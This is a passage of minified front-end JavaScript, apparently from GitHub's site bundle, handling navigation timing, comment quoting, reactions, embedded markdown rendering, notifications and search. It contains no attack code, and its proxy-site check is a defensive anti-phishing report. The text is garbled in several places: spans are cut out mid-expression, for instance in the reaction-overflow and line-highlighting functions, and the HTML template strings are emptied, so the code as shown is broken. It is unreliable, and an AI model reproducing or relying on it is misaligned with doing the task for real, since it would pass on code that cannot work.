URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const 